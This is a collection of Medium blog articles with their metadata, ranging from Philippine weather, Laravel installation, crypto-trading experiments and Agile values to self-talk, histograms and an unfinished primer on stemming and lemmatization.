Weather In The Philippines: #1 Best Guide Today | Planning to fly out to Manila, Boracay, or Cebu? Before you book your plane ticket, it would be wise to get to know the weather in the Philippines first. The country indeed boasts one of the warmest weather conditions among all the Asian countries, but it would be great if you can pack the correct clothes and gears depending on the month. Why? Well, as we have discussed in our foolproof list of Tagalog weather vocabulary, the country is like a magnet to storms which means that there will always be heavy rainfalls throughout the year.
The Philippines is a tropical country in Southeast Asia that boasts over 7,641 islands and islets. As you probably can see from its geographical representation in world maps, the country has an archipelagic nature. It mainly contains three main island groups: Luzon, Mindanao, and the Visayas. Despite its far-off placement on the map, the country is internationally known as one of the top tourist destinations in Asia due to its warm climate, glorious-looking natural wonders, colorful traditions, fantastic history, and mouthwatering dishes.
The Philippines is also famous for many interesting reasons, including the fact that it was once known as the texting capital of the whole world, has 3 of the 10 largest malls in the world, and that it was where the first-ever basketball league was established. In addition to all that, it is also known as one place that supplies the skilled workforce for various countries, including the United States, Saudi Arabia, UAE, Singapore, Hong Kong, and Qatar.
But then again, let’s get into the best reason why you probably know the Philippines… it’s the astounding natural attractions! During March, April, and May, tourists are literally flocking over the beaches, falls, and caves that can only be seen in the country. Some of the top beaches with white sand and crystal blue waters include the unspoiled Boracay, El Nido, Panglao Island, Camotes Island, Gigantes Islands, and Batanes. If you are in for a truly unique place, you might have already heard about the Pink Beach, which features a special type of sand that has been mixed with pulverized corals.
However, before you pack your slippers and waterproof bags, tell you one thing: the country is prone to tropical cyclones, which means that you can expect strong winds, flash floods, and heavy rainfall. In order to make your visit worthwhile, allow us to walk you through all the information regarding the country’s weather and climate.
Average Temperatures In The Philippines
In the search for the exact temperatures that can be expected? Well, allow us to walk you through the facts directly:
The windiest and wettest month is around September to the point that it is the time wherein most typhoons enter the nation’s area of responsibility.
The hottest month is usually around the month of May, which can be around 26.4°C to 35°C.
The coldest month is usually January which can hit up to 21 °C and a maximum average temperature of 32 °C.
The Weather In The Philippines
The Weather In The Philippines
Due to its geographical location within the typhoon belt of the Pacific Ocean region, the Philippines is definitely a country that has been challenged numerous times. In fact, the report of the Asian Disaster Reduction Center or ARDC shows that there are basically 20 typhoons to expect per year, and 5 of those are purely destructive in nature. Just last year, it was even hit by the most devastating storm known as Super Typhoon Goni, resulting in over $415 million in damages and 25 deaths (based on local reports).
The Philippine Atmospheric, Geophysical, and Astronomical Services Administration (PAGASA) has upgraded its systems and created better online touchpoints with all those considered. This move ensures that Filipinos and travelers will have year-round updated bulletins to reflect the forecasts in terms of weather, flood, tropical cyclone, climate, and agri-weather. Based on those data, we are presenting below the months and what you can expect for the weather condition to be:
Please note that the table above shows the common pattern, but the weather may still fluctuate between regions. As a rule of thumb, always bring an umbrella or a jacket to stay dry since the weather can be very unpredictable. Also, understand that the Philippines has a tropical climate where it is exposed to the sun most of the time, which means that it only has two seasons: dry season and wet season.
Don’t get discouraged if you think that the trip will be plainly hot as you can seriously visit areas that are always cold, like e Tagaytay, Sagada, Banaue, and Baguio. The reason why those remain cold throughout the period is that it has a unique elevation from the rest of the places. The average temperatures here can go as low as 6.3 °C to 7.3°C! So, if you have packed winter clothes and want to take a run from the summer heat, you’ll surely get to wear them all.
If you still want to experience the summer from this place, remember to pack some really light and cottony shirts as even the early parts of February can be so hot too! More so if you plan to stay in the central places or a populous city! Just recently, the heat index even reached 53°C! Good thing that the heat somewhat dissipates by night!
When Is The Best Time To Visit The Philippines
Weather in the Philippines: Learn using Ling App
Not sure of when to visit? Check out our updated list below, combining the top national holidays, festivals, and special occasions which you might want to be part of. Since the nation has a significant Catholic population, you can expect to see tons of holidays related to it.
So which of the annual festivals are you planning to be part of this year? As always, do remember to check the festivals and the specific places where they will be held, and the possible weather conditions by checking the updated data from the PAGASA database.
Want To Learn More About Tagalog?
Are you excited to experience the wonders of this Asian nation this year? If you are, then you better get yourself ready, as it may come in handy if you know the essential Tagalog words for travel. You see, the locals are really good at English but trust us when we say that you can get extra special treatment if they hear you try your best to speak their language😊
Also, we highly recommend that you check out the Ling App by Simya Solutions. This mobile application is available for free in the PlayStore and AppStore, and it is guaranteed to help you progress in over 60+ languages, including Tagalog! It comes equipped with a number of courses related to real-life interactions, grammatical rules, and common expressions/vocabulary words. The platform also features challenging courses that will literally rock your brain so that you can be confident that you have learned something, even just for a short period of time.
So, download it today and prepare for your best adventure like a pro! | https://medium.com/@ling-app/weather-in-the-philippines-1-best-guide-today-f2c430981119 | ['Ling Learn Languages'] | 2021-06-08 15:04:48.565000+00:00 | ['Language', 'Philippines', 'Language Learning', 'Weather', 'Education'] |
Install Laravel Installer in Mac OS | Install Laravel Installer in Mac OS
In order to install Laravel Installer in your Mac OS. Open your terminal and type the following command.
composer require global “laravel/installer”
Once the laravel installer is installed, in order to use it through out the terminal we need to the add the path to our bash profile file.
To do so type the following command in order to open bash profile file.
nano .bash_profile
Once the bash profile get open. Type the following to store the path
export PATH=”$PATH:$HOME/.composer/vendor/bin”
Now to save and close the file. CTR + X and type yes
Now restart the terminal or just type the following command
source .bash_profile | https://medium.com/@shamshadzaheer/install-laravel-installer-in-mac-os-607833dd020 | ['Shamshad Zaheer'] | 2020-12-27 22:12:35.446000+00:00 | ['Laravel Installation', 'Installer', 'Laravel'] |
3000+ Experiments on ETH USDT Trading | Looking into the future is always exciting, especially if it’s the future of markets…
So now we are ready to test our engine. As a simple example we will describe 3000+ experiments with following settings:
Currency pair: ETH USDT Candle time interval: 1 hour Exchange: Binance Y labels: If in the next period the price has grown for 3% or more we put “buy” label, if the price went down for 1% we put “sell”, else “wait” label Neural Network Architecture: Feed Forward Seeds: 0 -100 Epochs: 1–34 Class weights: for class “buy”: 3, “sell”: 8 Test set start date: 11.14.2018 Test set end date: 2.19.2019 Trading indicators: MACD(moving average convergence/divergence), RSI (relative strength index), Ichimoku Cloud, OBV (On-balance volume), SR(support and resistance), BB(Bollinger Bands), DMI( Directional Movement Index)
Results:
So after running experiments in these settings, the best model we got was able to make almost 35% profit in 3 months. Out of 3414 experiments, only 307 or 0.9% yielded profitable models, detailed results can be found here. History of trades of the most profitable model is here.
The experiments we ran is like 0.0000000000001% of the total amount of all experiments that possibly can be conducted. This is not much, but we still were able to get good results.
What do you think about the results? How can we improve them? We appreciate your feedback. See you in a week. | https://medium.com/deep-crypto-story/3000-experiments-on-eth-usdt-trading-de4724526f19 | ['Myron Leskiv'] | 2019-04-19 09:00:23.635000+00:00 | ['Trading', 'Ethereum', 'Cryptocurrency', 'Data Science', 'Machine Learning'] |
Trump, Evangelicalism, and White Jesus | Tearing Down White Jesus
Warner Sallman, Head of Christ, 1940
Dear Trumpian Christians, there are gaping holes in your theology. Spiritual freedom and American liberty are not remotely similar. The type of freedom spoken about in the Bible far supersedes our Constitutional rights, and nothing Jesus ever said suggests that you should fight to preserve your way of life, even when your faith and values are threatened. Jesus lived and died under Roman occupation without ever challenging the ruling government to return to Hebrew Law and its values; He spent His life teaching people how to love God and others in the midst of extreme oppression.
Jesus was always, consistently focused on the poor, the sick, the marginalized, and the spiritually oppressed. He openly chastised the religious leaders for their hypocrisy and using adherence to the Law to measure whether someone was faithful or loveable. Yet here you are, lifting up those same types of leaders.
God indeed gave you the leader you asked for, but Donald J. Trump was never “God’s candidate.” He was your candidate. Like the portrayal of White Jesus, you have painted what is right and good by what looks most like you. And sadly, he does look like you. Trump is a reflection of American, celebrity-worshiping Evangelicalism at its worst.
Many of you are outraged by tearing down statues of Confederate generals, claiming it’s an attempt to erase history. As an artist, I’m not keen on destroying works of art either—statues and paintings included—but we don’t need to celebrate them and give them a place of honor when the subjects are not honorable. Tearing down White Jesus doesn’t mean destroying paintings that capture a time in history, it means dismantling the systems of entitlement, bigotry, and oppression that have kept our brothers and sisters from knowing the real Jesus.
If we want to course-correct where this train is headed, we need to know where it came from and how it got off track. That’s not easy to do—it takes guts, perseverance, and a passion for the truth, as one nation, under God, with liberty, and justice for all.
As Americans, it seems that should be right up our alley. | https://medium.com/interfaith-now/trump-evangelicalism-and-white-jesus-4a7f92ea1170 | ['Michelle Wuesthoff'] | 2020-12-21 14:46:06.473000+00:00 | ['Trump', 'Trumpism', 'Jesus', 'Religion'] |
Book Coach Success Spotlight: Terri Thayer | Celebrating a book coach’s success
Author Accelerator is on a mission to help writers write books worth reading. We do that by training book coaches to support writers throughout the entire creative process. Meet Terri Thayer, one of our recently certified book coaches. Terri got her first paying client.
Q: So tell us, Terri, how will you be helping this client (what service did they sign up for)?
Terri: We are working twice a month on two things: the point of her novel and the Inside Outline. | https://medium.com/no-blank-pages/book-coach-success-spotlight-terri-thayer-b7064bf9c120 | ['Terri M. Leblanc'] | 2020-10-13 16:22:28.142000+00:00 | ['Freelancing', 'Coaching Skills', 'Success Story', 'Coaching', 'Writing'] |
Moonlight — Review | Based on Tarrell McCraney’s largely autobiographical play ‘In Moonlight Black Boys Look Blue,’ ‘Moonlight’ tells us a coming of age story at three different points of time in a young man’s life. Kind of like ‘Boyhood,’ except these assholes cheated and used different actors. Can you say “lazy?”
The subject coming of age here is Chiron, a gay black youth, who is portrayed in three excellent performances by Alex R. Hibbert, Ashton Sanders and Trevante Rhodes. We watch as Chiron grows up in a bad Miami neighborhood getting picked on by his drug-addicted mother (Naomi Harris) and classmates alike, finds first love, and eventually becomes a drug-dealer. I will add that this was also the profession of the his childhood father figure, Juan(Mahershala Ali), and that both are essentially dignified men of principle.
Finding him hiding from bullies in an empty building, Juan takes Chiron under his wing, and the scenes with the two of them were among the film’s highlights for me. Particularly a scene in which this young kid casually asks if his older friend sells drugs, and then openly makes the connection that his mother does drugs is simply devastating.
If you’re looking for some fancy story with twists galore or big CG explosions I guess I could tell you that ‘The Girl on the Train,’ ‘Arrival’ and ‘Fantastic Beasts and Where to Find Them’ are all in theaters right now, and all three are not bad either. ‘Moonlight,’ though, is one of those slice-of-life dramas, the main selling points of which are watching a character grow and that everything feels real. It’s also one of the best I’ve seen recently, and writer/director Barry Jenkins is clearly someone to keep an eye on. | https://medium.com/panel-frame/moonlight-review-f9f0ae75975d | ['Will Daniel'] | 2017-03-16 04:32:50.548000+00:00 | ['Film', 'Movies'] |
Histograms | For anyone who is new to Statistics, they might find histograms slightly amusing. What are these? Are they similar to Bar-graph ? Why do we have them?
First of all, let’s build an intuition.
fig: Number line
We have learned in school about number-line where every number gets its place on the line. Here, number-line is continuous in the sense, every point in the line represents a distinct real number. Also, we know every point represent only one number i.e. numbers are not stacked on top of one another on the same point. Here, we have represented our data( An infinite real number system) as a 1-D line.
Now, consider a situation, we need to describe the data having age as the only attribute. Clearly, our above line cannot help us in this problem. Why?
Fig: Stacked points on 2D
Fig: Stacked points on 3D
As, the amount of data increases, we find ourselves stacking points( A point represent a single person in this case) on top of each other. This does not represent the data in a clear format and doesn’t help us to make any further analysis. So, we describe our data with a bar-graph. Remember, here, our problem statement deals with discrete data.
Fig: Bar Graph
Woah! This graph can be used for useful analysis.
Now, that was easy. But, how would we solve a problem which had continuous data-points. For example, let’s say, we want to analyze people’s height as an only attribute. Now, clearly, we can have infinite amount of height to consider, which is similar to our first problem on Number-line. However, we have a possibility of stacking people of same height, which is similar to our second problem on Bar-graph.
Hmm. So, this problem is a hybrid version of both our initial problems. How do we tackle this to describe the data?
Fig : Histogram
Now, comes the topic of our discussion, Histogram to the rescue!
So, histograms are basically continuous modeled bar-graph. So, here we model our continuous data as discrete data. For example, let’s say, we have minimum height as 130 c.m and maximum height as 190 c.m. Here, we can divide data on the basis of 10 c.m difference gap i.e. 130–140 c.m belongs to one bar and so on. Note : In histogram, we refer to bars as bins.
So, we can basically say, our histogram varies as we change the number of bins. There is no hard and fast rule about the number of bins. Taking bins=1 would just put all your data in a single bin which is not useful at all. Also, taking bin=(no. of data-samples) would assign every data-point a bin which is also not helpful. Hence, general rule of thumb is to hit-and-try number of bins to gain useful distribution or analysis.
Fig: Histogram with bins=1
Fig: Histogram with bins=N
Fig: Histogram with bins=2
Histogram is a very useful tool in data analytics and can infer powerful insights on continuous data. If we want to use a distribution to approximate our data, then, histogram is a very good way to justify our decision.
More about Distribution on the next blog. 😀 | https://medium.com/analytics-vidhya/histograms-a24eb1c63177 | ['Ashish Agarwal'] | 2020-09-22 13:46:16.828000+00:00 | ['Histograms', 'Data Science', 'Beginners Guide', 'Bar Graph', 'Statiscics'] |
Bipolar Emotional Test | What is it?
A bipolar emotional test is a tool for A/B testing. It is conducted after completing the user experience or user interface design phase. The bipolar emotional test is useful for deciding the alternatives when emotions and sensorial points are certain.
How does it be prepared?
The moderator shows design alternatives to participants and wants them to tell which alternative should be selected and why. Then, participants are asked to fill a bipolar form for test subjects.
Let’s talk about it via an example.
As Agency Look, we have tested a mobile application’s homepage with 25 participants for one of our customers in the finance sector. There were 3 alternatives for the homepage. All of the alternatives were all about the placement of advertisement and background. It is important to test alternatives with few variables like all A/B tests.
First, we have determined the emotional and sensational aspects of the homepage design. These aspects are decided by thinking about the emotions of the target group, impressions of the mobile application, and values of the company.
There are 6 criteria that we have focused on:
Liking
Reliability
Simplicity
Ease
Modernity
Intelligibility
Secondly, we have placed these aspects on a chart in positive and negative forms. They can be adjectives or shaped in sentences, it doesn’t matter. Positive statements are written in the left column while negative statements are in the right one. (Or it can be the otherwise as long as all positive statements are in the same column.)
To give an illustration:
In our test, we have placed the degrees in 5 columned charts. The number of columns can be decreased to 3 or increased to 7 according to the complexity of the needed bipolar emotional test. 5 was ideal for our test.
The number of criteria (number of rows) can be increased or decreased too. Here is another example of another test subject:
7 lined bipolar emotional test
How does it be conducted?
Moderator should explain that columns are degrees for criteria. The middle column is for “I’m undecided.” The more approach to the left side of the chart, it means the more positive feelings.
Participants are asked to grade in terms of the adjectives for the selected design alternative among the alternatives.
Then, participants are requested to fill bipolar test forms for other alternatives. If there are 3 alternatives then there must be 3 emotional bipolar test forms for every individual user.
How does it read?
First of all, elimination can be done for bipolar test forms. If a participant’s form is like the form below for all of the alternatives, this participant’s answers can be ignored:
If there is not any distinctive vote, then the form could be ignored.
In our A/B tests, there were 25 participants, but we took into account 22 of them.
After the elimination phase, the number of participants that have selected is written in every cell.
25 people conducted the test but there are 22 participants valid for results.
It can be seen as meaningless, but when we make color mapping, the result is pretty obvious.
The most selected cell is colored with dark green. If the numbers of second and third most selected cells are close to the first one, they can be marked with the shades of green.
Here are the results!
We have an absolute winner! After this test, we moved on with the alternative 3.
Bipolar emotional tests can be used for all kinds of A/B tests in user interface design or user experience design phases. This test type is so convenient when the design or wireframe alternatives slightly similar. If the number of participants is high, then bipolar emotional tests could lead us a result. | https://medium.com/@sevginurak/bipolar-emotional-test-4b2188b50a97 | ['Sevginur Ak'] | 2020-12-18 18:58:59.767000+00:00 | ['User Research', 'User Testing', 'Usability Testing Methods', 'A B Testing', 'User Experience'] |
6 spontaneous things to do with friends | 6 spontaneous things to do with friends
•dress up in dresses and tuxedos and go into McDonald’s like if you were in a fancy restaurant
•play roblox with friends doesn’t matter how old you are just do it it’s fun
•learn sign language or a secret language in between you and your friends so no one knows what you are saying
•redo your room move your bed, cabinets , and decorations around
•organize your closet by color coordination and you can donate anything that you don’t want anymore
•take Ariel yoga classes it’s so much fun hanging and doing tricks on the silks | https://medium.com/@victoriafernandez8242/6-spontaneous-things-to-do-with-friends-a6640197981a | ['Victoria Fernandez'] | 2020-12-27 07:30:53.783000+00:00 | ['Spontaneous', 'Ideas', 'Fun', 'Friends'] |
The Agile values 20 years later | Individuals and interactions over processes and tools
The manifesto was done by software people, and every piece of software is a tool!
Also Agilists keep selling you processes!
because tools and processes are AWESOME, until they are not.
We are but the ape that discovered tools first.
Every object around you? Clothes? Chair? Table? Device you are using to read this? Roof over your head? Language I am using to write this? Electricity?
All tools.
We are the ape of instrumentalisation. It is our very identity.
We are also an ape ridiculously bad doing many small boring and repetitive steps many times without adding mistakes.
Also bad at accepting this deep down.
So there is always an ape within us telling us “you got this, small boring step is easy”.
This is why we need processes!
This is why we have flight checklists because it saves lots of lives:
This is why so much care and effort went into creating surgery checklists because, again, it saves lots of lives:
A process will not make you good at any given task, no checklist will make you a good pilot or a good surgeon.
What they will do is helping you put a lot of little repetitive boring stuff out of your ape brain and into the environment, reducing mistakes:
So process are AWESOME!
IF we see what we are getting out of following the process
IF we own the process and the evolution of the process
IF we care
And people WILL complain about having a process!
In part because deep down our ape is telling us we do not need one.
In part because processes are often forced down our throats and we do not see what we get out of following the process beyond “my boss/compliance told me I ought”.
But also in part because “What is done for us without us is done against us” a process over my work that is decided without my input is hostile and feels infantilising.
Surgeons complained about surgery checklists because: it felt infantilising.
Process and tools are awesome UP AND UNTIL they are detrimental to people and interactions.
Until your colleague is asking you to get a paper receipt and a ticket number before they will talk to you at all.
Up and until your colleague is telling you that they will not help you until the Jira ticket has the information in the format that was convened.
Up and until you feel you need to create/join an underworld within your company just to get your job done at all.
Up and until the system of oppression starts using the process and the tool to bludgeon people.
Come and see the violence inherent in the system!
So we have all seen it right? the point where the process and the tool helps, and the point in which it becomes toxic?
And maybe you have seen that in most big companies we enter deeply into the toxic territory? Why does that happen? And what to do?
For the “why that happens” my answer is :
Every big corporation fetishises control even if nobody within the corporation does
I have a talk about how does that happen recent versions are in french but here is an old version:
For the “What to do?” erm this will come up a lot but it does involve being a pain in the ass:
See, the manifesto invitation is not one of an easy solution in as much that it is a call to arms.
It is inviting the workers of the world to rebel against bureaucracy really.
In a world inviting you to treat anything as a reason to control your peers, you rebel by “Connect before Correct”.
You take the time to interact with people and understand what they need and be understood in your needs.
You ask the eternal spice girls question: Tell me what you want, what you really really want?
This is only possible with safety so you start out by conspiring for safety with your peers, by caring.
And, together, you understand what do you get if anything out of your process and tool, and how could you get something out of it.
Of course taking the time to figure that out is time you are not on the short term producing, is time you are investing in you and your peers, in your health, in understanding the process and the company.
and your enemy becomes then the short sighted lens of productivism:
And that is why you will be a pain when you push towards connection, the system gets you under a state where you are always behind, always late, always not having the time to improve things, always measured by your production on the short term.
taking time to connect feels like wasting time then and it is hence suffered an the first step is to connect to that suffering. | https://medium.com/@Romeu/the-agile-values-20-years-later-63279a067d80 | ['Romeu Moura'] | 2021-02-12 14:25:04.364000+00:00 | ['Manifesto', 'Agility', 'Agile Manifesto', 'Agile Methodology', 'Agile'] |
Verizon’s Bold Tweet to Casey Neistat | This week’s digital marketing success story is about Verizon Wireless.
What Can We Learn From Verizon: A funny way to get free advertising.
Example: Verizon’s tweet in response to Casey Neistat’s question:
Like a cobra, Verizon strikes at the right moment with maximum effect.
Casey Neistat in Greater Detail
For those of you that do not know him, he creates videos and is known for storytelling on his YouTube channel. His channel has over a billion total video views due to 5.3 million YouTube subscribers, 1.7 million Instagram followers and 802,000 followers on Twitter.
He is a huge internet and social media influencer.
Why Was This Tweet Effective?
It enhanced my view of Verizon as a brand (I laughed and thought it was clever).
Probably got 75k — 100k views (conservative guess since Verizon and Casey combine for over 2.5 million Twitter followers), received 40 retweets and 122 likes.
Reinforced a competitor’s flaw to a big audience (I’ve heard from multiple users that T-Mobile does not have great service).
There is no way to know how much business Verizon might have gotten or how much they hurt T-Mobile in one tweet. However, the result seems worth it.
How to Perform Verizon’s Tactical Twitter Strike
Verizon has a big social media presence and a large team. Out of necessity, they most likely uses expensive social media tools and have more manpower than most companies.
Smaller companies without social media teams can follow these steps:
Monitor for competitor mentions with four free tools: Google Alerts, Social Mention, Twitter.com/search (thanks to Kendra Rutledge for pointing this one out to me) or a Hootsuite stream (instructions below). Identify and monitor influencer(s) Twitter activity with a Hootsuite stream (instructions below). When an influencer tweets about something related to your company or about your competitor, strike.
Finding influencers in your niche and influencer marketing is a big topic, I have not covered it before but have heard Buzzsumo is the best tool to find influencers.
Mark Schaefer does a good job explaining influencer marketing here.
Other Thoughts
Setup Hootsuite Twitter Stream for Competitor Mentions
Step 1: From a computer, create Hootsuite account and add Twitter profile
Step 2: On the dashboard, click add stream button near top left
Step 3: Click Keyword from menu items
Step 4: Enter up to three keyword phrases
Step 5: Add one or two more phrases and Add Stream
Setup Hootsuite Twitter Stream to monitor Influencers
Follow steps 1 and 2 above
Step 3: Click lists from the menu items
Step 4: Select your profile
Step 5: Click create new list and label “Influencers”
Step 6: Click Private List then click Add Stream
Step 7: Click More Options by the new stream
Step 8: Click Preferences
Step 9: Add influencers by their Twitter handle
Step 10: Click Done
There might be a better way to monitor for competitor mentions or influencer activity, would love feedback on anything that should be added! | https://medium.com/tips-from-the-trenches/verizons-bold-tweet-to-casey-neistat-52cbbcb66377 | ['Clayton Carroll'] | 2017-04-14 18:17:46.234000+00:00 | ['Social Media', 'Social Media Strategy', 'Influencer Marketing', 'Digital Marketing', 'Twitter Marketing'] |
YouTube Is Finally Forced to Deal with Children’s Privacy from Today! All Parents Win, All YouTubers Must Tread Carefully! | As a parent of two K-12 children, I am delighted that YouTube is finally enforcing “Made for Kids” or “Not Made for Kids” labeling of ALL existing and future videos on their billion-plus viewer platform.
YouTube is the cheapest babysitter in the world.
So many parents turn on YouTube on their TV or phone to get their kids glued to the screen while doing everyday duties. As a parent, I always worry about the content that my kids might bump into due to advertising or recommendations by some algorithm written by a twenty-something-year-old Google engineer who could be not aware of all the issues around children’s online privacy and safety.
When premium YouTube became available, I wanted to switch right away, but YouTube didn’t allow me to switch as I was using Google’s business email account. Finally, I decided to go with Premium on a personal account and made it available for my kids. However, ad-free YouTube is still a potentially high-risk place for children who might unintentionally click on recommendations and land on some weirdo’s channel. But, from today, parents have a reason to rejoice! YouTube is more child-friendly today than ever before! We have the Federal Communications Commission (FCC) to thank for it!
I am not about excessive regulations, and the net neutrality issue had made me question FCC’s role once. But today, we are happy to see the FCC as the catalyst for a change for the good of all our children.
From today, all YouTubers must explicitly declare their videos as either made for children or not. If they choose the former, YouTube will no longer allow commenting, notifications, and possibly other features to be available on these video pages. Awesome!
This means that if a good creator has child-friendly content, they will not be able to open their videos for commenting. This is done to protect children from exposing information about themselves and putting them to risks from comment trolls. Good move!
Since notifications will be off for children’s videos, we would also get good relief from aggressive marketing-oriented channels. Many children’s channels have become too commercial, and the lack of the features mentioned above might make these channels less profitable or commercial.
This is the best news for parents today. What do you think? Write your thoughts in the comments section below! | https://medium.com/tech-for-home-and-work/youtube-is-finally-forced-to-deal-with-kids-online-from-today-4c944883794c | ['Kabir', 'Ko-Bir'] | 2019-11-21 02:33:33.686000+00:00 | ['Privacy', 'Made For Children', 'Hometech', 'FCC', 'YouTube'] |
How to Change the Way You Talk to Yourself | “Just sit still,” Dad would tell one of my brothers.
Everyone knows kids have trouble sitting still for anything, even hair cuts.
The electric shaver he used to cut hair would get too close to their scalps. They’d flinch and cry out, “Ow!”
“Stupid idiot! I told you to sit still,” Dad would say, slapping them.
Some conversations refuse to leave our memories. And sometimes the words we can’t forget are the ones we tell ourselves. But I’ve learned how to change the way I talk to myself.
The negatives
They say it takes 9 positives to combat one negative thing we hear. Nine.
And yet, we replay the negatives, in which case, we need to up our efforts considerably.
But it seems that negatives somehow cling to us, like this poem I wrote.
A Magnet I seem to have a magnet
that’s deep inside my head.
And I repel the positive
and keep what’s bad instead.
Have you ever been on your way somewhere, knowing you should turn left? You’ve done it many times before, your car knows it by heart. But for some odd reason, you turn right. And immediately you hear:
What did you do that for?
What’s the matter with you?
You never do anything right!
So how can we combat those accusations? Because clearly, they will happen. It’s not even a matter of “if,” but rather a matter of when.
Affirmations
I’ve found writing out affirmations is helpful. It was something a counselor suggested, since I struggle with negative self-talk. Affirmations became my friends.
The only rule is that they must be positive. Affirmations are statements that affirm you as a person. If you have also heard negative statements in your own voice, think of things you wish others had said to you.
Things like:
It’s okay, you made a mistake.
You did your best, it’s alright.
You can always try it again.
You can go further by adding positive words to your inner vocabulary. Words that may feel strange at first, but add them just the same.
Words like:
You’re smart.
You’re funny.
People like being with you.
The longer your list, the more you’ll have in store for fighting the negatives.
If we consistently fight the negatives, eventually, we won’t get slaughtered every time we make a mistake.
Once is not enough
With affirmations, what you want to do is write them out by hand about ten times. Writing it out helps you retain it. And the more times you write them during the day, the more effective you will find them. One time for each one is just not enough.
True story: I once had a problem with my older brother. Okay, several. And I made everything worse in my own head because I thought I had to like him, and it was clear I did not. At least, at that time.
One affirmation that freed me up was this:
I have the right to not like my brother.
I have the right to not like my brother.
I have the right to not…
By giving myself the right, I felt less shame when I’d have a negative thought about him. When I gave myself the right, I treated each little thing separately, and that was doable.
I kept a spiral notebook, filled with this affirmation, as well as many others. Running across it, I had to smile. You see, I was so skeptical. But not only did it work, I ended up seeing a lot of great things in my brother, I would have missed. And when that happened, I easily cleaned out the closet of my mind and had a good chance of strengthening my relationship with him.
Years later, when he shared he had Pancreatic cancer, I was there for him completely. Not just because he was family, but because he was someone I loved and liked. I’m so thankful I opened my mind, and my life to him.
Photo by Thought Catalog on Unsplash
Make a list
Jot down the negative things you tell yourself, or even those you hear from others. And when you have that list, next to each word, write the opposite word. Write what you would like said to you.
Examples:
stupid — intelligent
ugly — nice looking
insensitive — care about people
Everyone’s list will be different, because we’re all unique, but there will be some words that find themselves on many lists.
Listen to your inner voice. Pay attention to how you feel when you talk to yourself. I have found I’ve even changed the tone of how I talk to me.
While some negative self-talk starts in their family of origin, this is not the case for everyone.
Some people will start off with a great home base. But somewhere along the line, they meet someone who puts them down. Instead of standing up to it, they start believing the negatives.
The good news is, you can build up your self-confidence. You can change your self-talk and actually become your own biggest fan.
P.T.S.D.
I struggle with post traumatic stress disorder. Sometimes buttons get pressed, and while I look like I’m an adult, my inner dialog is shaming the child within.
Affirmations have been helpful to me because I realize buttons will get pressed in life. The experiences we have now will remind us of other ones, sometimes painful.
How we talk to ourselves really matters.
I’ve found some sentences that help those who struggle with anxiety or depression.
When I was in a dark place in my thinking, it felt like I would always be there. Like it was inescapable. These affirmations helped me:
You’re not always going to feel like this.
You’re okay.
It will be alright.
People who struggle with negative self-talk need someone on their side. And who better than the person who’s always with them?
Photo by Tim Mossholder on Unsplash
“Be nice”
One of my friends struggled with putting herself down. Maybe in a way, she thought she’d beat everyone else to it.
Finally, one day I told her, “Sherry, be nice to my friend.”
And she smiled.
From the time we are little, we’re told, “be nice.” In our homes, we are told to get along with our siblings.
And then we go to Kindergarten, and the teacher tells us, “Be nice.”
And we really try. But it’s towards others, not inwardly. It’s time to realize how we treat ourselves matters much more than we thought.
Even the Bible says, “Love your neighbor as yourself.” (Mark 12:30–31)
Try it out. Write down some of the negatives you tell yourself. Take a few minutes and they’ll surface.
Think of the last time you got embarrassed, you’ll be able to think of a lot of negatives surrounding that. Jot down others as they happen. You have nothing to lose by trying this out.
There will always be negative
When I was younger and my friends went on to college, I tried to go too, but my mom’s death a few years earlier made it impossible to think.
Thirty years later, I returned to school. First I attended a junior college, and then with an A.A. degree, I transferred to a university and graduated Summa Cum Laude.
And I remember calling my aunt on the phone, “Aunt Jeanette, I did it. I graduated.”
She said, “You graduated?” And then she added, “You could have done this years ago.”
But even her words did not squelch my feelings of accomplishment.
The real victory
When I attended Judson University, in Elgin, it meant I had a 40-minute drive. The drive was unfamiliar. That scared me because I am direction deficient. Don’t bother to look it up, I’ve given myself that title. It simply means when it comes to going anywhere, the probability is high that I will get lost.
My classes were condensed, so I’d get my B.A. in 15 months, but that still meant I would be going to class twice a week and mostly at night.
With a hand-drawn map from my husband, I set off on my first day.
I can do this, I told myself. And true to my form, I got lost.
Sitting on the side of the road in tears, I felt defeated.
How could I do this 88 more times?
Judson University was near an expressway, so I could have saved time by taking that route. But I was too scared.
One day, I was just about at school. I saw the expressway ahead and knew I had made it. But instead of taking the street I needed, I turned too soon. And the next thing I knew, I was ON the expressway.
Photo by Jamie Street on Unsplash
I tried to remain calm as tears ran down my face and my heart beat out of my chest. I managed to get off in a couple of exits.
I walked in the gas station for directions. (This was pre-cellphones and G.P.S’s.)
“How can I get to Judson University?” I panted.
“Oh, you’re almost there,” the attendant replied. “All you have to do is get back on the expressway…”
“No!” I interrupted, I don’t want to take the expressway.”
And so he explained the longer, less traveled route. And 40 minutes later, I walked in class, my red face stained with tears of humiliation.
Did I have what it took?
Eventually, I learned the route there and back. Yes, I got lost a couple more times. No, I did not take the expressway again. That lesson in life would come much later.
I did it!
Graduation day, as I waited to receive my diploma, I knew what I had accomplished to get there.
And I heard my own words, “Good job Anne. I knew you could do it.”
Those trips taught me how to talk to myself. I learned how to calm myself down when I got lost.
You can do this.
I know you can do it.
Just breathe.
And you know what? I was right. I did do it.
And whatever it is that you’re facing, you can do it too. For inside of you lives a person who can root for you the loudest.
Give yourself a chance.
Call to Action:
Do you struggle with negative self-talk?
What have you found effective?
I’d love to hear from you. | https://medium.com/thrive-global/how-to-change-the-way-you-talk-to-yourself-c148c5441b69 | ['Anne Peterson'] | 2019-11-05 14:20:50.452000+00:00 | ['Self-awareness', 'Mental Health', 'Weekly Prompts', 'Growth', 'Self Improvement'] |
Stemming? Lemmatization? What? | Stemming? Lemmatization? What?
Taking a high-level dive into what stemming and lemmatization do for natural language processing tasks and how they do it.
Stemming and Lemmatization
In natural language processing, there may come a time when you want your program to recognize that the words “ask” and “asked” are just different tenses of the1 same verb. This is the idea of reducing different forms of a word to a core root. Words that are derived from one another can be mapped to a central word or symbol, especially if they have the same core meaning.
Maybe this is in an information retrieval setting and you want to boost your algorithm’s recall. Or perhaps you are trying to analyze word usage in a corpus and wish to condense related words so that you don’t have as much variability. Either way, this technique of text normalization may be useful to you.
This is where something like stemming or lemmatization comes in, something that you may have heard of before! But what’s the difference between the two? And what do they actually do? These are two questions that we are going to explore today!
So What Are They?
At their core, both of these techniques tackle the same idea: Reduce a word to its root or base unit. It’s often a data pre-processing step and is something good to be familiar with. Though they both wish to solve this same idea, they go about it completely different ways. Let’s take a look!
Stemming
Stemming is definitely the simpler of the two approaches. With stemming, words are reduced to their word stems. A word stem need not be the same root as a dictionary-based morphological root, it just is an equal to or smaller form of the word.
